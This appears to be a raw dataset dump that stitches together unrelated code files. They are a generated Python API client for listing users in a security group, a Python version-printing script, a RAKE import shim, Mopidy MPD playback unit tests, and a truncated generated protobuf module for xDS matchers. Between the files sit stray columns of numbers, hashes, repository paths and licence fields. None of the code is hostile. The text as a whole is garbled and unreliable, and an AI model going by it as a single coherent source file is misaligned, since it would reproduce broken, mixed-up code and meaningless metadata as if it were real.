self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_users_in_security_group_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getusersinsecuritygroup/groupid/{groupid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[User]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_users_in_security_group_v2(self, groupid, **kwargs): # noqa: E501 """Get users in a Security Group # noqa: E501 Operation to get the users in a specified Security Group. Use \"Get all available Security Groups\" to get Security Group record IDs. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_users_in_security_group_v2(groupid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: UserReadV2Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_users_in_security_group_v2_with_http_info(groupid, **kwargs) # noqa: E501 def security_get_users_in_security_group_v2_with_http_info(self, groupid, **kwargs): # noqa: E501 """Get users in a Security Group # noqa: E501 Operation to get the users in a specified Security Group. Use \"Get all available Security Groups\" to get Security Group record IDs. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_users_in_security_group_v2_with_http_info(groupid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(UserReadV2Response, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_users_in_security_group_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_users_in_security_group_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getusersinsecuritygroup/groupid/{groupid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='UserReadV2Response', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)
51.953176
233
0.634992
16,363
143,131
5.258449
0.014973
0.038027
0.050114
0.036818
0.985287
0.985287
0.984183
0.98366
0.983067
0.982521
0
0.014899
0.298028
143,131
2,754
234
51.972041
0.841481
0.468466
0
0.833197
1
0
0.216247
0.106705
0
0
0
0
0
1
0.041701
false
0
0.004088
0
0.08749
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
ae5f9193c135d91266f204f0e2ac921cdebbbc3a
93
py
Python
m4/pythonversion.py
ndl303/umkehr
a9a499931a2b99bb9eda6f93dae3b3807ef1746b
[ "Unlicense" ]
1
2020-06-29T19:56:58.000Z
2020-06-29T19:56:58.000Z
m4/pythonversion.py
woudc/woudc-umkehr
a9a499931a2b99bb9eda6f93dae3b3807ef1746b
[ "Unlicense" ]
null
null
null
m4/pythonversion.py
woudc/woudc-umkehr
a9a499931a2b99bb9eda6f93dae3b3807ef1746b
[ "Unlicense" ]
null
null
null
import sys import os print( '%1d.%1d'%(sys.version_info.major, sys.version_info.minor))
18.6
67
0.709677
15
93
4.266667
0.6
0.3125
0.4375
0
0
0
0
0
0
0
0
0.024691
0.129032
93
4
68
23.25
0.765432
0
0
0
0
0
0.078652
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0.333333
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
ae735d9a5482c176fa4e3495ad9646d4326e9a33
98
py
Python
RAKE/__init__.py
trishar/femme-hacks-2017
65b168686c0c239fad58e723bf30f9a6f374ba89
[ "MIT" ]
null
null
null
RAKE/__init__.py
trishar/femme-hacks-2017
65b168686c0c239fad58e723bf30f9a6f374ba89
[ "MIT" ]
null
null
null
RAKE/__init__.py
trishar/femme-hacks-2017
65b168686c0c239fad58e723bf30f9a6f374ba89
[ "MIT" ]
null
null
null
try: from RAKE import Rake # NOQA except ImportError: from RAKE.RAKE import Rake # NOQA
19.6
38
0.693878
14
98
4.857143
0.5
0.235294
0.411765
0.529412
0
0
0
0
0
0
0
0
0.255102
98
4
39
24.5
0.931507
0.091837
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.75
0
0.75
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
88452d3d1215dc7858aac13c0821cf17881f2a97
15,213
py
Python
tests/frontends/mpd/protocol/playback_test.py
swinton/mopidy
c32c73f5112c29ef7ccccf36a508c571adb39759
[ "Apache-2.0" ]
null
null
null
tests/frontends/mpd/protocol/playback_test.py
swinton/mopidy
c32c73f5112c29ef7ccccf36a508c571adb39759
[ "Apache-2.0" ]
null
null
null
tests/frontends/mpd/protocol/playback_test.py
swinton/mopidy
c32c73f5112c29ef7ccccf36a508c571adb39759
[ "Apache-2.0" ]
null
null
null
from mopidy.core import PlaybackState from mopidy.models import Track from tests import unittest from tests.frontends.mpd import protocol PAUSED = PlaybackState.PAUSED PLAYING = PlaybackState.PLAYING STOPPED = PlaybackState.STOPPED class PlaybackOptionsHandlerTest(protocol.BaseTestCase): def test_consume_off(self): self.sendRequest(u'consume "0"') self.assertFalse(self.backend.playback.consume.get()) self.assertInResponse(u'OK') def test_consume_off_without_quotes(self): self.sendRequest(u'consume 0') self.assertFalse(self.backend.playback.consume.get()) self.assertInResponse(u'OK') def test_consume_on(self): self.sendRequest(u'consume "1"') self.assertTrue(self.backend.playback.consume.get()) self.assertInResponse(u'OK') def test_consume_on_without_quotes(self): self.sendRequest(u'consume 1') self.assertTrue(self.backend.playback.consume.get()) self.assertInResponse(u'OK') def test_crossfade(self): self.sendRequest(u'crossfade "10"') self.assertInResponse(u'ACK [0@0] {} Not implemented') def test_random_off(self): self.sendRequest(u'random "0"') self.assertFalse(self.backend.playback.random.get()) self.assertInResponse(u'OK') def test_random_off_without_quotes(self): self.sendRequest(u'random 0') self.assertFalse(self.backend.playback.random.get()) self.assertInResponse(u'OK') def test_random_on(self): self.sendRequest(u'random "1"') self.assertTrue(self.backend.playback.random.get()) self.assertInResponse(u'OK') def test_random_on_without_quotes(self): self.sendRequest(u'random 1') self.assertTrue(self.backend.playback.random.get()) self.assertInResponse(u'OK') def test_repeat_off(self): self.sendRequest(u'repeat "0"') self.assertFalse(self.backend.playback.repeat.get()) self.assertInResponse(u'OK') def test_repeat_off_without_quotes(self): self.sendRequest(u'repeat 0') self.assertFalse(self.backend.playback.repeat.get()) self.assertInResponse(u'OK') def test_repeat_on(self): self.sendRequest(u'repeat "1"') self.assertTrue(self.backend.playback.repeat.get()) self.assertInResponse(u'OK') def test_repeat_on_without_quotes(self): self.sendRequest(u'repeat 1') self.assertTrue(self.backend.playback.repeat.get()) self.assertInResponse(u'OK') def test_setvol_below_min(self): self.sendRequest(u'setvol "-10"') self.assertEqual(0, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_min(self): self.sendRequest(u'setvol "0"') self.assertEqual(0, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_middle(self): self.sendRequest(u'setvol "50"') self.assertEqual(50, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_max(self): self.sendRequest(u'setvol "100"') self.assertEqual(100, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_above_max(self): self.sendRequest(u'setvol "110"') self.assertEqual(100, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_plus_is_ignored(self): self.sendRequest(u'setvol "+10"') self.assertEqual(10, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_setvol_without_quotes(self): self.sendRequest(u'setvol 50') self.assertEqual(50, self.backend.playback.volume.get()) self.assertInResponse(u'OK') def test_single_off(self): self.sendRequest(u'single "0"') self.assertFalse(self.backend.playback.single.get()) self.assertInResponse(u'OK') def test_single_off_without_quotes(self): self.sendRequest(u'single 0') self.assertFalse(self.backend.playback.single.get()) self.assertInResponse(u'OK') def test_single_on(self): self.sendRequest(u'single "1"') self.assertTrue(self.backend.playback.single.get()) self.assertInResponse(u'OK') def test_single_on_without_quotes(self): self.sendRequest(u'single 1') self.assertTrue(self.backend.playback.single.get()) self.assertInResponse(u'OK') def test_replay_gain_mode_off(self): self.sendRequest(u'replay_gain_mode "off"') self.assertInResponse(u'ACK [0@0] {} Not implemented') def test_replay_gain_mode_track(self): self.sendRequest(u'replay_gain_mode "track"') self.assertInResponse(u'ACK [0@0] {} Not implemented') def test_replay_gain_mode_album(self): self.sendRequest(u'replay_gain_mode "album"') self.assertInResponse(u'ACK [0@0] {} Not implemented') def test_replay_gain_status_default(self): self.sendRequest(u'replay_gain_status') self.assertInResponse(u'OK') self.assertInResponse(u'off') @unittest.SkipTest def test_replay_gain_status_off(self): pass @unittest.SkipTest def test_replay_gain_status_track(self): pass @unittest.SkipTest def test_replay_gain_status_album(self): pass class PlaybackControlHandlerTest(protocol.BaseTestCase): def test_next(self): self.sendRequest(u'next') self.assertInResponse(u'OK') def test_pause_off(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'play "0"') self.sendRequest(u'pause "1"') self.sendRequest(u'pause "0"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_pause_on(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'play "0"') self.sendRequest(u'pause "1"') self.assertEqual(PAUSED, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_pause_toggle(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'play "0"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') self.sendRequest(u'pause') self.assertEqual(PAUSED, self.backend.playback.state.get()) self.assertInResponse(u'OK') self.sendRequest(u'pause') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_play_without_pos(self): self.backend.current_playlist.append([Track()]) self.backend.playback.state = PAUSED self.sendRequest(u'play') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_play_with_pos(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'play "0"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_play_with_pos_without_quotes(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'play 0') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_play_with_pos_out_of_bounds(self): self.backend.current_playlist.append([]) self.sendRequest(u'play "0"') self.assertEqual(STOPPED, self.backend.playback.state.get()) self.assertInResponse(u'ACK [2@0] {play} Bad song index') def test_play_minus_one_plays_first_in_playlist_if_no_current_track(self): self.assertEqual(self.backend.playback.current_track.get(), None) self.backend.current_playlist.append([Track(uri='a'), Track(uri='b')]) self.sendRequest(u'play "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertEqual('a', self.backend.playback.current_track.get().uri) self.assertInResponse(u'OK') def test_play_minus_one_plays_current_track_if_current_track_is_set(self): self.backend.current_playlist.append([Track(uri='a'), Track(uri='b')]) self.assertEqual(self.backend.playback.current_track.get(), None) self.backend.playback.play() self.backend.playback.next() self.backend.playback.stop() self.assertNotEqual(self.backend.playback.current_track.get(), None) self.sendRequest(u'play "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertEqual('b', self.backend.playback.current_track.get().uri) self.assertInResponse(u'OK') def test_play_minus_one_on_empty_playlist_does_not_ack(self): self.backend.current_playlist.clear() self.sendRequest(u'play "-1"') self.assertEqual(STOPPED, self.backend.playback.state.get()) self.assertEqual(None, self.backend.playback.current_track.get()) self.assertInResponse(u'OK') def test_play_minus_is_ignored_if_playing(self): self.backend.current_playlist.append([Track(length=40000)]) self.backend.playback.seek(30000) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertEquals(PLAYING, self.backend.playback.state.get()) self.sendRequest(u'play "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_play_minus_one_resumes_if_paused(self): self.backend.current_playlist.append([Track(length=40000)]) self.backend.playback.seek(30000) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertEquals(PLAYING, self.backend.playback.state.get()) self.backend.playback.pause() self.assertEquals(PAUSED, self.backend.playback.state.get()) self.sendRequest(u'play "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_playid(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'playid "0"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertInResponse(u'OK') def test_playid_minus_one_plays_first_in_playlist_if_no_current_track(self): self.assertEqual(self.backend.playback.current_track.get(), None) self.backend.current_playlist.append([Track(uri='a'), Track(uri='b')]) self.sendRequest(u'playid "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertEqual('a', self.backend.playback.current_track.get().uri) self.assertInResponse(u'OK') def test_playid_minus_one_plays_current_track_if_current_track_is_set(self): self.backend.current_playlist.append([Track(uri='a'), Track(uri='b')]) self.assertEqual(self.backend.playback.current_track.get(), None) self.backend.playback.play() self.backend.playback.next() self.backend.playback.stop() self.assertNotEqual(None, self.backend.playback.current_track.get()) self.sendRequest(u'playid "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assertEqual('b', self.backend.playback.current_track.get().uri) self.assertInResponse(u'OK') def test_playid_minus_one_on_empty_playlist_does_not_ack(self): self.backend.current_playlist.clear() self.sendRequest(u'playid "-1"') self.assertEqual(STOPPED, self.backend.playback.state.get()) self.assertEqual(None, self.backend.playback.current_track.get()) self.assertInResponse(u'OK') def test_playid_minus_is_ignored_if_playing(self): self.backend.current_playlist.append([Track(length=40000)]) self.backend.playback.seek(30000) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertEquals(PLAYING, self.backend.playback.state.get()) self.sendRequest(u'playid "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_playid_minus_one_resumes_if_paused(self): self.backend.current_playlist.append([Track(length=40000)]) self.backend.playback.seek(30000) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertEquals(PLAYING, self.backend.playback.state.get()) self.backend.playback.pause() self.assertEquals(PAUSED, self.backend.playback.state.get()) self.sendRequest(u'playid "-1"') self.assertEqual(PLAYING, self.backend.playback.state.get()) self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_playid_which_does_not_exist(self): self.backend.current_playlist.append([Track()]) self.sendRequest(u'playid "12345"') self.assertInResponse(u'ACK [50@0] {playid} No such song') def test_previous(self): self.sendRequest(u'previous') self.assertInResponse(u'OK') def test_seek(self): self.backend.current_playlist.append([Track(length=40000)]) self.sendRequest(u'seek "0"') self.sendRequest(u'seek "0" "30"') self.assert_(self.backend.playback.time_position >= 30000) self.assertInResponse(u'OK') def test_seek_with_songpos(self): seek_track = Track(uri='2', length=40000) self.backend.current_playlist.append( [Track(uri='1', length=40000), seek_track]) self.sendRequest(u'seek "1" "30"') self.assertEqual(self.backend.playback.current_track.get(), seek_track) self.assertInResponse(u'OK') def test_seek_without_quotes(self): self.backend.current_playlist.append([Track(length=40000)]) self.sendRequest(u'seek 0') self.sendRequest(u'seek 0 30') self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_seekid(self): self.backend.current_playlist.append([Track(length=40000)]) self.sendRequest(u'seekid "0" "30"') self.assert_(self.backend.playback.time_position.get() >= 30000) self.assertInResponse(u'OK') def test_seekid_with_cpid(self): seek_track = Track(uri='2', length=40000) self.backend.current_playlist.append( [Track(length=40000), seek_track]) self.sendRequest(u'seekid "1" "30"') self.assertEqual(1, self.backend.playback.current_cpid.get()) self.assertEqual(seek_track, self.backend.playback.current_track.get()) self.assertInResponse(u'OK') def test_stop(self): self.sendRequest(u'stop') self.assertEqual(STOPPED, self.backend.playback.state.get()) self.assertInResponse(u'OK')
38.12782
80
0.680865
1,900
15,213
5.293684
0.063684
0.123583
0.168125
0.116624
0.914595
0.906741
0.888845
0.840326
0.81905
0.798767
0
0.019043
0.185368
15,213
398
81
38.223618
0.792544
0
0
0.6
0
0
0.061066
0
0
0
0
0
0.432258
1
0.187097
false
0.009677
0.012903
0
0.206452
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
7
889abd91dadad49529db131c6a934771d44ca5b4
32,368
py
Python
python/pb/xds/type/matcher/v3/matcher_pb2.py
pomerium/enterprise-client
899e568e59955533179167ff08066962991476c5
[ "Apache-2.0" ]
1
2021-09-14T04:34:29.000Z
2021-09-14T04:34:29.000Z
src/xds/type/matcher/v3/matcher_pb2.py
pomerium/enterprise-client-python
366d72cc9cd6dc05fae704582deb13b1ccd20a32
[ "Apache-2.0" ]
3
2021-09-15T15:10:41.000Z
2022-01-04T21:03:03.000Z
python/pb/xds/type/matcher/v3/matcher_pb2.py
pomerium/enterprise-client
899e568e59955533179167ff08066962991476c5
[ "Apache-2.0" ]
1
2021-09-14T17:32:12.000Z
2021-09-14T17:32:12.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: xds/type/matcher/v3/matcher.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from xds.annotations.v3 import status_pb2 as xds_dot_annotations_dot_v3_dot_status__pb2 from xds.core.v3 import extension_pb2 as xds_dot_core_dot_v3_dot_extension__pb2 from xds.type.matcher.v3 import string_pb2 as xds_dot_type_dot_matcher_dot_v3_dot_string__pb2 from validate import validate_pb2 as validate_dot_validate__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='xds/type/matcher/v3/matcher.proto', package='xds.type.matcher.v3', syntax='proto3', serialized_options=b'\n\036com.github.xds.type.matcher.v3B\014MatcherProtoP\001Z*github.com/cncf/xds/go/xds/type/matcher/v3', create_key=_descriptor._internal_create_key, serialized_pb=b'\n!xds/type/matcher/v3/matcher.proto\x12\x13xds.type.matcher.v3\x1a\x1fxds/annotations/v3/status.proto\x1a\x1bxds/core/v3/extension.proto\x1a xds/type/matcher/v3/string.proto\x1a\x17validate/validate.proto\"\x89\x0e\n\x07Matcher\x12@\n\x0cmatcher_list\x18\x01 \x01(\x0b\x32(.xds.type.matcher.v3.Matcher.MatcherListH\x00\x12@\n\x0cmatcher_tree\x18\x02 \x01(\x0b\x32(.xds.type.matcher.v3.Matcher.MatcherTreeH\x00\x12\x39\n\x0bon_no_match\x18\x03 \x01(\x0b\x32$.xds.type.matcher.v3.Matcher.OnMatch\x1a\x80\x01\n\x07OnMatch\x12/\n\x07matcher\x18\x01 \x01(\x0b\x32\x1c.xds.type.matcher.v3.MatcherH\x00\x12\x33\n\x06\x61\x63tion\x18\x02 \x01(\x0b\x32!.xds.core.v3.TypedExtensionConfigH\x00\x42\x0f\n\x08on_match\x12\x03\xf8\x42\x01\x1a\xb9\x07\n\x0bMatcherList\x12Q\n\x08matchers\x18\x01 \x03(\x0b\x32\x35.xds.type.matcher.v3.Matcher.MatcherList.FieldMatcherB\x08\xfa\x42\x05\x92\x01\x02\x08\x01\x1a\xb2\x05\n\tPredicate\x12^\n\x10single_predicate\x18\x01 \x01(\x0b\x32\x42.xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicateH\x00\x12V\n\nor_matcher\x18\x02 \x01(\x0b\x32@.xds.type.matcher.v3.Matcher.MatcherList.Predicate.PredicateListH\x00\x12W\n\x0b\x61nd_matcher\x18\x03 \x01(\x0b\x32@.xds.type.matcher.v3.Matcher.MatcherList.Predicate.PredicateListH\x00\x12I\n\x0bnot_matcher\x18\x04 \x01(\x0b\x32\x32.xds.type.matcher.v3.Matcher.MatcherList.PredicateH\x00\x1a\xd3\x01\n\x0fSinglePredicate\x12:\n\x05input\x18\x01 \x01(\x0b\x32!.xds.core.v3.TypedExtensionConfigB\x08\xfa\x42\x05\x8a\x01\x02\x10\x01\x12\x39\n\x0bvalue_match\x18\x02 \x01(\x0b\x32\".xds.type.matcher.v3.StringMatcherH\x00\x12\x39\n\x0c\x63ustom_match\x18\x03 \x01(\x0b\x32!.xds.core.v3.TypedExtensionConfigH\x00\x42\x0e\n\x07matcher\x12\x03\xf8\x42\x01\x1a`\n\rPredicateList\x12O\n\tpredicate\x18\x01 \x03(\x0b\x32\x32.xds.type.matcher.v3.Matcher.MatcherList.PredicateB\x08\xfa\x42\x05\x92\x01\x02\x08\x02\x42\x11\n\nmatch_type\x12\x03\xf8\x42\x01\x1a\xa1\x01\n\x0c\x46ieldMatcher\x12O\n\tpredicate\x18\x01 \x01(\x0b\x32\x32.xds.type.matcher.v3.Matcher.MatcherList.PredicateB\x08\xfa\x42\x05\x8a\x01\x02\x10\x01\x12@\n\x08on_match\x18\x02 \x01(\x0b\x32$.xds.type.matcher.v3.Matcher.OnMatchB\x08\xfa\x42\x05\x8a\x01\x02\x10\x01\x1a\xe5\x03\n\x0bMatcherTree\x12:\n\x05input\x18\x01 \x01(\x0b\x32!.xds.core.v3.TypedExtensionConfigB\x08\xfa\x42\x05\x8a\x01\x02\x10\x01\x12L\n\x0f\x65xact_match_map\x18\x02 \x01(\x0b\x32\x31.xds.type.matcher.v3.Matcher.MatcherTree.MatchMapH\x00\x12M\n\x10prefix_match_map\x18\x03 \x01(\x0b\x32\x31.xds.type.matcher.v3.Matcher.MatcherTree.MatchMapH\x00\x12\x39\n\x0c\x63ustom_match\x18\x04 \x01(\x0b\x32!.xds.core.v3.TypedExtensionConfigH\x00\x1a\xaf\x01\n\x08MatchMap\x12Q\n\x03map\x18\x01 \x03(\x0b\x32:.xds.type.matcher.v3.Matcher.MatcherTree.MatchMap.MapEntryB\x08\xfa\x42\x05\x9a\x01\x02\x08\x01\x1aP\n\x08MapEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x33\n\x05value\x18\x02 \x01(\x0b\x32$.xds.type.matcher.v3.Matcher.OnMatch:\x02\x38\x01\x42\x10\n\ttree_type\x12\x03\xf8\x42\x01:\x08\xd2\xc6\xa4\xe1\x06\x02\x08\x01\x42\x0e\n\x0cmatcher_typeB\\\n\x1e\x63om.github.xds.type.matcher.v3B\x0cMatcherProtoP\x01Z*github.com/cncf/xds/go/xds/type/matcher/v3b\x06proto3' , dependencies=[xds_dot_annotations_dot_v3_dot_status__pb2.DESCRIPTOR,xds_dot_core_dot_v3_dot_extension__pb2.DESCRIPTOR,xds_dot_type_dot_matcher_dot_v3_dot_string__pb2.DESCRIPTOR,validate_dot_validate__pb2.DESCRIPTOR,]) _MATCHER_ONMATCH = _descriptor.Descriptor( name='OnMatch', full_name='xds.type.matcher.v3.Matcher.OnMatch', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matcher', full_name='xds.type.matcher.v3.Matcher.OnMatch.matcher', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='action', full_name='xds.type.matcher.v3.Matcher.OnMatch.action', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='on_match', full_name='xds.type.matcher.v3.Matcher.OnMatch.on_match', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], serialized_options=b'\370B\001'), ], serialized_start=383, serialized_end=511, ) _MATCHER_MATCHERLIST_PREDICATE_SINGLEPREDICATE = _descriptor.Descriptor( name='SinglePredicate', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='input', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate.input', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\212\001\002\020\001', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value_match', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate.value_match', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='custom_match', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate.custom_match', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ _descriptor.OneofDescriptor( name='matcher', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.SinglePredicate.matcher', index=0, containing_type=None, create_key=_descriptor._internal_create_key, fields=[], serialized_options=b'\370B\001'), ], serialized_start=975, serialized_end=1186, ) _MATCHER_MATCHERLIST_PREDICATE_PREDICATELIST = _descriptor.Descriptor( name='PredicateList', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.PredicateList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='predicate', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.PredicateList.predicate', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=b'\372B\005\222\001\002\010\002', file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1188, serialized_end=1284, ) _MATCHER_MATCHERLIST_PREDICATE = _descriptor.Descriptor( name='Predicate', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='single_predicate', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.single_predicate', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='or_matcher', full_name='xds.type.matcher.v3.Matcher.MatcherList.Predicate.or_matcher', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='and_matcher', 